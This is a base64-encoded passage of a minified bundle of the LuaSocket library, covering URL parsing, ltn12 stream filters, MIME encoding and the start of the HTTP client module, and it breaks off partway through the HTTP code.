bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
